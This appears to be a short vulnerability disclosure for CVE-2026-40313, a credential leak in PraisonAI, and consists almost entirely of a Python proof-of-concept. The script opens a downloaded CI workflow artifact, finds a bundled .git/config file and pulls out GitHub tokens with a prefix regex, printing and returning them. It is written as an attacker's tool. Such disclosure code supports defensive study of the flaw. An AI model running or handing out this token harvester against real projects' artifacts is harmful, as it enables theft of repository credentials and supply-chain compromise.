CVE-2026-40313 PraisonAI凭证泄露漏洞

import zipfile import re import os def extract_token_from_artifact(artifact_path): """ This script demonstrates how an attacker might extract a leaked GITHUB_TOKEN from a downloaded artifact zip file that contains a .git/config directory. """ print(f"[*] Analyzing artifact: {artifact_path}") extracted_tokens = [] try: with zipfile.ZipFile(artifact_path, 'r') as zip_ref: # List all files in the artifact file_list = zip_ref.namelist() # Search for .git/config file git_config_path = None for file in file_list: if '.git/config' in file: git_config_path = file break if git_config_path: print(f"[+] Found .git/config at: {git_config_path}") # Read the content of .git/config config_content = zip_ref.read(git_config_path).decode('utf-8') # Regex to find GITHUB_TOKEN (usually starts with ghp_, ghu_, ghs_, etc.) token_pattern = re.compile(r'(ghp_[a-zA-Z0-9]{36}|ghu_[a-zA-Z0-9]{36}|gho_[a-zA-Z0-9]{36}|ghs_[a-zA-Z0-9]{36})') matches = token_pattern.findall(config_content) if matches: for match in matches: print(f"[!] Leaked Token Found: {match}") extracted_tokens.append(match) else: print("[-] No standard GitHub tokens found in config.") else: print("[-] .git/config not found in the artifact.") except Exception as e: print(f"[-] Error processing file: {e}") return extracted_tokens # Example usage (assuming an attacker downloaded 'workflow-artifact.zip') # tokens = extract_token_from_artifact('workflow-artifact.zip')